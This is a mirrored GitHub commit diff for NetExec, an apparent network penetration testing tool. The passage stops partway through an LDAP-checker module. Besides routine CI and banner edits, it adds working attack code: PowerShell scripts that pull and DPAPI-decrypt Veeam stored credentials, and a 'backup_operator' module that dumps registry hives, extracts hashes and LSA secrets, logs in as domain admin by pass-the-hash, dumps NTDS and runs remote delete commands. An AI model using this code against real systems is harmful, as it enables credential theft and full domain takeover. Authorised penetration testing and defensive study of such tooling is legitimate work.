mirror of
https://github.com/Pennyw0rth/NetExec
synced 2026-06-06 16:34:30 +00:00
Merge branch 'main' into marshall-get-gpos
This commit is contained in:
@@ -10,7 +10,7 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.12"]
|
||||
python-version: ["3.13"]
|
||||
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
@@ -10,7 +10,7 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.10", "3.11", "3.12"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
|
||||
@@ -19,7 +19,7 @@ jobs:
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: 3.12
|
||||
python-version: 3.13
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install dependencies with dev group
|
||||
|
||||
@@ -14,7 +14,7 @@ jobs:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.10", "3.11", "3.12"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
|
||||
+3
-3
@@ -53,9 +53,9 @@ def gen_cli_args():
|
||||
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
|
||||
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
|
||||
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
|
||||
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
|
||||
ॱ \ / ॱ
|
||||
ॱ ॱ
|
||||
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
|
||||
˙ \ / ˙
|
||||
˙ ˙
|
||||
|
||||
The network execution tool
|
||||
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
|
||||
$SqlServerName = "REPLACE_ME_SqlServer"
|
||||
$SqlInstanceName = "REPLACE_ME_SqlInstance"
|
||||
$b64Salt = "REPLACE_ME_b64Salt"
|
||||
|
||||
#Forming the connection string
|
||||
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
|
||||
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
|
||||
$auth = "Integrated Security=SSPI;" #Local user
|
||||
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
|
||||
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
|
||||
@@ -22,19 +23,46 @@ catch {
|
||||
exit -1
|
||||
}
|
||||
|
||||
$rows=($dataset.Tables | Select-Object -Expand Rows)
|
||||
if ($rows.count -eq 0) {
|
||||
$output=($dataset.Tables | Select-Object -Expand Rows)
|
||||
if ($output.count -eq 0) {
|
||||
Write-Host "No passwords found!"
|
||||
exit
|
||||
}
|
||||
|
||||
Add-Type -assembly System.Security
|
||||
#Decrypting passwords using DPAPI
|
||||
$rows | ForEach-Object -Process {
|
||||
$EnryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
# Decrypting passwords using DPAPI
|
||||
$output | ForEach-Object -Process {
|
||||
$EncryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$enc = [system.text.encoding]::Default
|
||||
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
|
||||
|
||||
try {
|
||||
# Decrypt password with DPAPI (old Veeam versions)
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
} catch {
|
||||
try{
|
||||
# Decrypt password with salted DPAPI (new Veeam versions)
|
||||
$salt = [System.Convert]::FromBase64String($b64Salt)
|
||||
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
|
||||
foreach ($byte in $EncryptedPWD)
|
||||
{
|
||||
$hex.AppendFormat("{0:x2}", $byte) > $null
|
||||
}
|
||||
$hex = $hex.ToString().Substring(74,$hex.Length-74)
|
||||
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
|
||||
for ($i = 0; $i -lt $hex.Length; $i += 2)
|
||||
{
|
||||
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
|
||||
}
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
}catch {
|
||||
$pw_string = "COULD_NOT_DECRYPT"
|
||||
}
|
||||
}
|
||||
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
|
||||
$_.password = $pw_string
|
||||
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
|
||||
}
|
||||
|
||||
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
|
||||
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
|
||||
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
|
||||
$b64Salt = "REPLACE_ME_b64Salt"
|
||||
|
||||
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
|
||||
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
|
||||
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
|
||||
|
||||
if ($output.count -eq 0) {
|
||||
@@ -10,13 +11,40 @@ if ($output.count -eq 0) {
|
||||
exit
|
||||
}
|
||||
|
||||
# Decrypting passwords using DPAPI
|
||||
Add-Type -assembly System.Security
|
||||
#Decrypting passwords using DPAPI
|
||||
$output | ForEach-Object -Process {
|
||||
$EnryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$EncryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$enc = [system.text.encoding]::Default
|
||||
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
|
||||
|
||||
try {
|
||||
# Decrypt password with DPAPI (old Veeam versions)
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
} catch {
|
||||
try{
|
||||
# Decrypt password with salted DPAPI (new Veeam versions)
|
||||
$salt = [System.Convert]::FromBase64String($b64Salt)
|
||||
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
|
||||
foreach ($byte in $EncryptedPWD)
|
||||
{
|
||||
$hex.AppendFormat("{0:x2}", $byte) > $null
|
||||
}
|
||||
$hex = $hex.ToString().Substring(74,$hex.Length-74)
|
||||
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
|
||||
for ($i = 0; $i -lt $hex.Length; $i += 2)
|
||||
{
|
||||
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
|
||||
}
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
}catch {
|
||||
$pw_string = "COULD_NOT_DECRYPT"
|
||||
}
|
||||
}
|
||||
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
|
||||
$_.password = $pw_string
|
||||
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
|
||||
}
|
||||
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
|
||||
+2
-1
@@ -80,7 +80,7 @@ def no_debug(func):
|
||||
|
||||
|
||||
class NXCAdapter(logging.LoggerAdapter):
|
||||
def __init__(self, extra=None):
|
||||
def __init__(self, extra=None, merge_extra=False):
|
||||
logging.basicConfig(
|
||||
format="%(message)s",
|
||||
datefmt="[%X]",
|
||||
@@ -93,6 +93,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
)
|
||||
self.logger = logging.getLogger("nxc")
|
||||
self.extra = extra
|
||||
self.merge_extra = merge_extra
|
||||
self.output_file = None
|
||||
|
||||
logging.getLogger("impacket").disabled = True
|
||||
|
||||
@@ -0,0 +1,143 @@
|
||||
import time
|
||||
import os
|
||||
import datetime
|
||||
|
||||
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.dcerpc.v5 import transport, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
class NXCModule:
|
||||
name = "backup_operator"
|
||||
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.domain_admin = None
|
||||
self.domain_admin_hash = None
|
||||
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO OPTIONS"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
connection.args.share = "SYSVOL"
|
||||
# enable remote registry
|
||||
context.log.display("Triggering RemoteRegistry to start through named pipe...")
|
||||
self.trigger_winreg(connection.conn, context)
|
||||
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
|
||||
rpc.set_smb_connection(connection.conn)
|
||||
if connection.kerberos:
|
||||
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
dce = rpc.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
dce.bind(rrp.MSRPC_UUID_RRP)
|
||||
|
||||
try:
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
|
||||
hRootKey, subKey = self._strip_root_key(dce, hive)
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
|
||||
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
try:
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
|
||||
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
|
||||
context.log.highlight(f"Saved {hive} to {outputFileName}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
|
||||
return
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
context.log.fail(str(e))
|
||||
finally:
|
||||
dce.disconnect()
|
||||
|
||||
# copy remote file to local
|
||||
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
connection.get_file_single(hive, log_path + hive)
|
||||
|
||||
# read local file
|
||||
try:
|
||||
def parse_sam(secret):
|
||||
context.log.highlight(secret)
|
||||
if not self.domain_admin:
|
||||
first_line = secret.strip().splitlines()[0]
|
||||
fields = first_line.split(":")
|
||||
self.domain_admin = fields[0]
|
||||
self.domain_admin_hash = fields[3]
|
||||
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
|
||||
sam_hashes.dump()
|
||||
sam_hashes.finish()
|
||||
|
||||
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
|
||||
|
||||
if self.domain_admin:
|
||||
connection.conn.logoff()
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
|
||||
try:
|
||||
context.log.display("Dumping NTDS...")
|
||||
connection.ntds()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the NTDS: {e!s}")
|
||||
|
||||
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
|
||||
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
try:
|
||||
out = connection.conn.listPath("SYSVOL", hive)
|
||||
if out:
|
||||
self.deleted_files = False
|
||||
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
|
||||
except SessionError as e:
|
||||
context.log.debug(f"File {hive} successfully removed: {e}")
|
||||
else:
|
||||
self.deleted_files = False
|
||||
else:
|
||||
self.deleted_files = False
|
||||
|
||||
if not self.deleted_files:
|
||||
context.log.display("Use the domain admin account to clean the file on the remote host")
|
||||
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
|
||||
else:
|
||||
context.log.display("Successfully deleted dump files !")
|
||||
|
||||
def trigger_winreg(self, connection, context):
|
||||
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
|
||||
# Basically triggers the RemoteRegistry to start without admin privs
|
||||
tid = connection.connectTree("IPC$")
|
||||
try:
|
||||
connection.openFile(
|
||||
tid,
|
||||
r"\winreg",
|
||||
0x12019F,
|
||||
creationOption=0x40,
|
||||
fileAttributes=0x80,
|
||||
)
|
||||
except SessionError as e:
|
||||
# STATUS_PIPE_NOT_AVAILABLE error is expected
|
||||
context.log.debug(str(e))
|
||||
# Give remote registry time to start
|
||||
time.sleep(1)
|
||||
|
||||
def _strip_root_key(self, dce, key_name):
|
||||
# Let's strip the root key
|
||||
key_name.split("\\")[0]
|
||||
sub_key = "\\".join(key_name.split("\\")[1:])
|
||||
ans = rrp.hOpenLocalMachine(dce)
|
||||
h_root_key = ans["phKey"]
|
||||
return h_root_key, sub_key
|
||||
+228
-171
@@ -1,6 +1,8 @@
|
||||
import socket
|
||||
import ssl
|
||||
import asyncio
|
||||
import hashlib
|
||||
import random
|
||||
|
||||
from msldap.connection import MSLDAPClientConnection
|
||||
from msldap.commons.target import MSLDAPTarget
|
||||
@@ -10,19 +12,18 @@ from asyauth.common.credentials.ntlm import NTLMCredential
|
||||
from asyauth.common.credentials.kerberos import KerberosCredential
|
||||
|
||||
from asysocks.unicomm.common.target import UniTarget, UniProto
|
||||
import sys
|
||||
import contextlib
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Checks whether LDAP signing and channelbinding are required.
|
||||
Checks whether LDAP signing and LDAPS channel binding are required and/or enforced.
|
||||
|
||||
Module by LuemmelSec (@theluemmel), updated by @zblurx
|
||||
Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0
|
||||
Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
|
||||
"""
|
||||
|
||||
name = "ldap-checker"
|
||||
description = "Checks whether LDAP signing and binding are required and / or enforced"
|
||||
description = "Checks whether LDAP signing and channel binding are required and / or enforced"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -30,173 +31,229 @@ class NXCModule:
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Conduct a bind to LDAPS and determine if channel
|
||||
# binding is enforced based on the contents of potential
|
||||
# errors returned. This can be determined unauthenticated,
|
||||
# because the error indicating channel binding enforcement
|
||||
# will be returned regardless of a successful LDAPS bind.
|
||||
async def run_ldaps_noEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
|
||||
# Required step to try to bind without channel binding
|
||||
ldapsClientConn.cb_data = None
|
||||
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
sys.exit()
|
||||
|
||||
valid, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True # channel binding IS enforced
|
||||
elif "data 52e" in str(err):
|
||||
return False # channel binding not enforced
|
||||
elif err is None:
|
||||
# LDAPS bind successful
|
||||
# because channel binding is not enforced
|
||||
return False
|
||||
|
||||
# Conduct a bind to LDAPS with channel binding supported
|
||||
# but intentionally miscalculated. In the case that and
|
||||
# LDAPS bind has without channel binding supported has occurred,
|
||||
# you can determine whether the policy is set to "never" or
|
||||
# if it's set to "when supported" based on the potential
|
||||
# error received from the bind attempt.
|
||||
async def run_ldaps_withEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
sys.exit()
|
||||
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
|
||||
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True
|
||||
elif "data 52e" in str(err):
|
||||
return False
|
||||
elif err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
elif err is None:
|
||||
return False
|
||||
|
||||
# Domain Controllers do not have a certificate setup for
|
||||
# LDAPS on port 636 by default. If this has not been setup,
|
||||
# the TLS handshake will hang and you will not be able to
|
||||
# interact with LDAPS. The condition for the certificate
|
||||
# existing as it should is either an error regarding
|
||||
# the fact that the certificate is self-signed, or
|
||||
# no error at all. Any other "successful" edge cases
|
||||
# not yet accounted for.
|
||||
def DoesLdapsCompleteHandshake(dcIp):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_sock = ssl_context.wrap_socket(
|
||||
s,
|
||||
do_handshake_on_connect=False,
|
||||
suppress_ragged_eofs=False,
|
||||
)
|
||||
try:
|
||||
ssl_sock.connect((dcIp, 636))
|
||||
ssl_sock.do_handshake()
|
||||
ssl_sock.close()
|
||||
return True
|
||||
except Exception as e:
|
||||
if "CERTIFICATE_VERIFY_FAILED" in str(e):
|
||||
ssl_sock.close()
|
||||
return True
|
||||
if "handshake operation timed out" in str(e):
|
||||
ssl_sock.close()
|
||||
return False
|
||||
else:
|
||||
context.log.fail("Unexpected error during LDAPS handshake: " + str(e))
|
||||
ssl_sock.close()
|
||||
return False
|
||||
|
||||
# Conduct and LDAP bind and determine if server signing
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
async def run_ldap(target, credential):
|
||||
try:
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
ldapsClientConn._disable_signing = True
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail(str(err))
|
||||
return None
|
||||
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if err is not None:
|
||||
errstr = str(err).lower()
|
||||
if "stronger" in errstr:
|
||||
return True
|
||||
# because LDAP server signing requirements ARE enforced
|
||||
else:
|
||||
context.log.fail(str(err))
|
||||
else:
|
||||
# LDAPS bind successful
|
||||
return False
|
||||
# because LDAP server signing requirements are not enforced
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
# Conduct a bind to LDAPS and determine if channel
|
||||
# binding is enforced based on the contents of potential
|
||||
# errors returned. This can be determined unauthenticated,
|
||||
# because the error indicating channel binding enforcement
|
||||
# will be returned regardless of a successful LDAPS bind.
|
||||
async def run_ldaps_noEPA(self, context, connection, target, credential):
|
||||
try:
|
||||
client = MSLDAPClientConnection(target, credential)
|
||||
_, err = await client.connect()
|
||||
if err:
|
||||
context.log.debug(f"Error connecting to {connection.domain}: {err}")
|
||||
return None
|
||||
|
||||
|
||||
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
|
||||
secret = connection.password if not connection.nthash else connection.nthash
|
||||
if not connection.kerberos:
|
||||
credential = NTLMCredential(
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype,
|
||||
)
|
||||
else:
|
||||
kerberos_target = UniTarget(
|
||||
connection.host,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
hostname=connection.remoteName,
|
||||
dc_ip=connection.kdcHost,
|
||||
domain=connection.domain,
|
||||
proxies=None,
|
||||
dns=None,
|
||||
)
|
||||
credential = KerberosCredential(
|
||||
target=kerberos_target,
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype,
|
||||
)
|
||||
|
||||
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapIsProtected = asyncio.run(run_ldap(target, credential))
|
||||
if ldapIsProtected is False:
|
||||
context.log.highlight("LDAP Signing NOT Enforced!")
|
||||
elif ldapIsProtected is True:
|
||||
context.log.fail("LDAP Signing IS Enforced")
|
||||
else:
|
||||
context.log.fail("Connection fail, exiting now")
|
||||
sys.exit()
|
||||
|
||||
if DoesLdapsCompleteHandshake(connection.host) is True:
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
|
||||
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
|
||||
elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
|
||||
elif ldapsChannelBindingAlwaysCheck is True:
|
||||
context.log.fail('LDAPS Channel Binding is set to "Required"')
|
||||
client.cb_data = None
|
||||
_, err = await client.bind()
|
||||
if err and "data 80090346" in str(err):
|
||||
return True # -> channel binding IS enforced
|
||||
elif err and "data 52e" in str(err):
|
||||
return False # -> channel binding not enforced
|
||||
elif err is None:
|
||||
return False # LDAPS bind successful -> channel binding not enforced
|
||||
else:
|
||||
context.log.fail("\nSomething went wrong...")
|
||||
sys.exit()
|
||||
context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}")
|
||||
return None
|
||||
except Exception as e:
|
||||
context.log.debug(f"Exception in run_ldaps_noEPA: {e}")
|
||||
return None
|
||||
finally:
|
||||
with contextlib.suppress(Exception):
|
||||
await client.disconnect()
|
||||
|
||||
# Conduct a bind to LDAPS with channel binding supported
|
||||
# but intentionally miscalculated. In the case that an
|
||||
# LDAPS bind without channel binding supported has occurred,
|
||||
# you can determine whether the policy is set to "never" or
|
||||
# if it's set to "when supported" based on the potential
|
||||
# error received from the bind attempt.
|
||||
async def run_ldaps_withEPA(self, context, connection, target, credential):
|
||||
try:
|
||||
client = MSLDAPClientConnection(target, credential)
|
||||
_, err = await client.connect()
|
||||
if err:
|
||||
context.log.fail(f"Error connecting to {connection.domain}: {err}")
|
||||
return None
|
||||
|
||||
try:
|
||||
context.log.debug("Retrieving TLS certificate hash...")
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_context.verify_mode = ssl.CERT_NONE
|
||||
|
||||
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
|
||||
cert = ssl_sock.getpeercert(binary_form=True)
|
||||
|
||||
if cert:
|
||||
cert_hash = hashlib.sha256(cert).digest()
|
||||
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
|
||||
pos = random.randint(0, len(cert_hash) - 1)
|
||||
tampered_bytes = bytearray(cert_hash)
|
||||
tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256
|
||||
context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}")
|
||||
context.log.debug(f"Modified byte at position {pos}")
|
||||
client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes)
|
||||
else:
|
||||
client.cb_data = b"\x00" * 64
|
||||
except Exception as e:
|
||||
context.log.debug(f"Failed to retrieve TLS certificate hash: {e}")
|
||||
client.cb_data = b"\x00" * 64
|
||||
|
||||
_, err = await client.bind()
|
||||
if err and "data 80090346" in str(err):
|
||||
return True
|
||||
elif (err and "data 52e" in str(err)) or err is None:
|
||||
return False
|
||||
else:
|
||||
context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}")
|
||||
return None
|
||||
except Exception as e:
|
||||
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
|
||||
return None
|
||||
|
||||
|
||||
# Domain Controllers do not have a certificate setup for
|
||||
# LDAPS on port 636 by default. If this has not been setup,
|
||||
# the TLS handshake will hang and you will not be able to
|
||||
# interact with LDAPS. The condition for the certificate
|
||||
# existing as it should is either an error regarding
|
||||
# the fact that the certificate is self-signed, or
|
||||
# no error at all. Any other "successful" edge cases
|
||||
# not yet accounted for.
|
||||
def does_ldaps_complete_handshake(self, context, dc_ip):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False)
|
||||
try:
|
||||
ssl_sock.connect((dc_ip, 636))
|
||||
ssl_sock.do_handshake()
|
||||
return True
|
||||
except Exception as e:
|
||||
if "CERTIFICATE_VERIFY_FAILED" in str(e):
|
||||
return True
|
||||
elif "handshake operation timed out" in str(e):
|
||||
return False
|
||||
else:
|
||||
context.log.fail(f"Unexpected error during LDAPS handshake: {e}")
|
||||
return False
|
||||
finally:
|
||||
ssl_sock.close()
|
||||
|
||||
# Conduct an LDAP bind and determine if server signing
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
async def run_ldap(self, context, target, credential):
|
||||
try:
|
||||
client = MSLDAPClientConnection(target, credential)
|
||||
client._disable_signing = True # deliberately disable LDAP signing on client connection
|
||||
_, err = await client.connect()
|
||||
if err:
|
||||
context.log.fail(f"Error connecting for LDAP bind: {err}")
|
||||
return None
|
||||
|
||||
_, err = await client.bind()
|
||||
if err:
|
||||
errstr = str(err).lower()
|
||||
if "stronger" in errstr:
|
||||
return True
|
||||
# because LDAP server signing requirements ARE enforced
|
||||
else:
|
||||
context.log.fail(f"LDAP bind error: {err}")
|
||||
return None
|
||||
else:
|
||||
